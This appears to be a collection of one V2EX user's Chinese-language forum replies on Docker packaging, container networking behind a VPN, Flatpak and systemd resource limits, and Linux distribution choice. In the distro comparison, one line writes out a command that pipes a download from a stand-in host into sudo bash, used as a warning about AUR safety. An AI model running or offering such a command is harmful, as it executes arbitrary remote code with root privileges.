@nextone docker.io 是 debian 维护的，更新频率会跟着 debian 走，所以版本经常会很旧。而 docker-ce 是 docker 官方维护的，apt 源也是 docker 的，基本都是最新的版本。如果想要新特性，建议还是安装由 docker 官方维护的 docker-ce 而不是 debian 维护的 docker.io 。

刚刚升级完，没有遇到任何问题。

试试 netguard 看能不能屏蔽其流量？

@66450146
考虑过这个方法了，但遇到了一些问题。

是我把背景过于简化了，没有讲清楚。因为我想着把大致背景交代一下，就能遇到解决过类似问题的人。
毕竟 V2EX 上应该有不少人都在 NAS 上通过 docker 自建自己的各种服务，应该遇到过相似的问题。

实际上，B 是包含多个容器的服务（独立的一个 compose.yml 管理的）。一个 php-fpm 容器，一个 db 容器。如主题所说，caddy 通过容器名访问并反代 php-fpm 。而 php-fpm 实际上也通过容器名访问 db 容器。如果把 php-fpm 的 network_mode 设置成 vpn 的话，就会导致 php-fpm 的 DNS 服务器也变成 VPN 的 DNS ，导致 php-fpm 通过容器名访问 db 失效了。

有时候还真的挺担心 stackoverflow 这类网站的。
以前受到这类网站帮助很大，现在虽然有了 AI ，但其实很多东西都需要人类的回答才能验证 AI 给出的答案是不是正确的。我拿到 AI 给的输出经常都会用一些关键词搜索找到相关的人类回答才敢用。

如今 AI 对 SO 这类问答网站打击太大了，以后要是没了这种网站估计各种 bug 满天飞了。

@w568w #39
除非有什么东西是非 podman 不可的。
我觉得服务器不如就直接用 stable 和 docker 上游直接提供的 docker-ce 了。
docker 上游直接推送新版本再加上 stable 的稳定。

@NewSunH 这也是你的错觉吧。

debian 的包基本是经过 unstable -> testing -> stable 这个过程的。
一般一个包出新版本就会被打包进 unstable ，然后经过几天没有严重问题就会被推到 testing 里。
而 stable 则是每两年一次对当时 testing 的进行冻结测试然后作为一个新的大版本发布。

这个过程软件版本如果真比以前激进那也多半是某些软件本身开发变快了。

只要把 config 的初始化集中在一个地方，初始化后就不要修改，一个 config 到处传我感觉问题没多大。这样，很多时候还方便加新的键值对，而不需要一个一个方法/函数的改签名。

但如果把 config 当返回值使用，代码随处在修改 config 的值，然后再到处乱传就恶心了。这种代码读起来简直要命，一般读一遍下来根本不知道哪里传来的值。

flatpak 版 wechat 没这个问题。
或者用 https://docs.flatpak.org/en/latest/tips-and-tricks.html#configuring-resource-limits-for-apps 提到的方法。
试试把`TasksMax`设置成一个比较小的值。比如，创建~/.config/systemd/user/app-flatpak-com.tencent.WeChat-.scope.d/task.conf
内容设置成
```
[Scope]
TasksMax=16
```

试试用 flatpak 装 dingtalk
然后再用 systemd 的 resource control 限制一下？

比如
`cat ~/.config/systemd/user/app-flatpak-com.dingtalk.DingTalk-.scope.d/tasks.conf`
[Scope]
TasksMax=256

https://docs.flatpak.org/en/latest/tips-and-tricks.html#configuring-resource-limits-for-apps

我觉得不要太纠结原则这个东西。哪个方案能解决问题就用哪个方案，都能解决就选择最方便自己的。
如果通过 layering 更方便，就选择 layering ，没必要为了原则就非得避免更加方便的做法。

曾经我也想避免所有 layering ，全利用 distrobox 解决问题。
比如把 git 、zsh 、tmux 之类的包全装 distrobox 里，使所有开发环境能共享工具链，结果发现 tcpdump 、nvtop 之类的包需要装在 rootful 的容器下才能用。
等全部迁移到 rootrul 容器里之后，又发现启动容器得输入密码才能打开。
于是又同时使用两个容器：rootful 容器和非 root 的，只把必要的工具装 rootful 容器里，其他装非 root 的容器。

后来一通折腾下来发现，我还得想办法把带 systemd-service 的包也给迁移出来。
结果最终发现，与其为了一些原则而避免 layering ，反而带来更多麻烦。所以我现在如果 layering 方便就直接 layering 了。

layering 的缺点也有，比如安装后需要重启（虽然可以通过 apply-alive 缓解这个问题）。在安装新的包时，所有 layering 的包都会再被重新安装一遍，因此 layering 越多，每次安装速度也会越慢。

目前也有人提出利用 sysext 来安装一些包，从而避免每次更新都得重启： https://travier.github.io/fedora-sysexts/

我个人觉得 atomic desktop 还在发展中。包括 rpm-ostree 也在向 bootc 方向迁移。
因此各种方案都有，也不一定成熟。
最终会在哪种方案上稳定下来也还不确定，所以别纠结太多哪种方案了，选择自己方便的来吧。

@GOVER
台词和 serif 没什么关系吧。
台词（せりふ）来自于「世流布」（せるふ）或者「競り言ふ｣（せりいう）。
serif 是有衬线字体的意思。

是不是我发放免费食物，在里面悄悄下毒，毒死人也不犯法？

个人的一些经验总结：

debian
更新最不频繁。两年一个大版本，中间会有小版本的更新，因此也最稳定。不过这也算是缺点，比如当前的 stable 版本里的 gnome-shell 还是 43 ，比目前 48 落后了不少。十分适合服务器那种使用场景（及时的安全更新，并且不会由于更新导致服务出问题）。

ubuntu 相对 debian 更新稍微频繁一点。一年一个大版本，中间也会有一些包的更新。当前 ubuntu25 里 gnome-shell 版本是 48.0 ，比最新版只落后几个小版本。

fedora 半年一个大版本，中间包的更新也十分频繁，因此也有人称之为半滚动发行版。频繁的更新也带来了各种不稳定，比如前些天 mutter 更新导致的窗口变得不可以点击。但好处在于，由于其是非滚动发行版的，因此你可以停留在目前版本不更新很长一段时间，之后再更新也不会挂掉。

滚动发行版（比如 arch 、debian sid 和 fedora rawhide 等等） 上游只要出新的版本就会被打包进仓库。频繁的更新带来的就是各种不稳定，比如上面提到的 mutter 的 bug 同样影响 arch 等其他滚动发行版。并且由于是滚动发行版，你长时间不更新之后再更新就容易挂掉。

除了包管理工具和更新频率以外，各种发行版在其他一些方面也有些细微差别。比如默认的文件系统是 btrfs 还是 ext4 ，默认 swap 是 zram 、zswap 还是硬盘的分区。还有一些 systemd 的服务管理方式，比如通过 socket 方式激活等。

我个人的建议是，一般就从 ubuntu 和 fedora （或者基于他们的衍生版）里选择作为个人桌面系统使用。debian 适合服务器，滚动发行版适合那种能给上游提 bug 和 issue 的人使用（否则当小白鼠也没有意义，只是折腾自己）。

arch 的一个优点就是 aur 提供了丰富的包，但要知道 aur 是谁都可以上传的，这意味着这并不比你执行`curl -s http://not.a.malware.com/download | sudo bash`安全。同时 flathub 的存在使得 aur 的必要性变低了很多，flathub 包含了 QQ 、微信、网易云音乐和 WPS 。最重要的是 flatpak 允许你控制文件系统和网络的权限，能够避免国产软件扫盘。

我个人的选择是 fedora 的衍生版 fedora silverblue 。
同样是激进的方案，fedora 的方案比 ubuntu 的方案有品位得多。
比如 fedora 是第一个采用 systemd 和 wayland 等新技术的发行版，而最终其他各种发行版也选择了这条路线。相比之下，ubuntu 的做法则就像是硬塞各种私货，upstart 和 mir 现在可以说已经死了。

类似的 flatpak 和 snap 相比较，flatpak 更有前景。对于某些包（比如 firefox ），fedora 同时提供 flatpak 版本和 rpm 版本，而 ubuntu 只提供 snap 版本并且把源里的版本替换成 snap 的。

只用 wm 的问题是你得自己一个一个安装需要的组件。这个过程看似简单，但实际上你很难找全所有需要的组件。当然爱折腾是另外一回事。

缺少部分组件，有时候问题不会马上出现，而会在你工作时出 bug 。比如前几天就有人问 vscode 每次启动都丢失登陆信息的问题。根据下面回复，多半是缺少了 gnome-keyring 这个组件。

我反而觉得单独使用 wm 带来的资源节省并没有什么用。以前单独用过一段时间 i3wm ，实际体验下来没感受到比 gnome 流畅，特别是打开浏览器、IDE 之类的软件，体感上区别不大。

kde/gnome 下，虽然的确开了很多用不上的进程，但实际上这些进程里，大部分占用不了多少资源。少部分进程的确很恶心，比如 gnome software 和 tracker-miner 相关的进程在后台运行的频率太高了，每次我听到风扇声音变大时，多半都是这俩在后台吃 cpu 。但光禁用这两个组件比一个一个安装需要的组件要简单得多。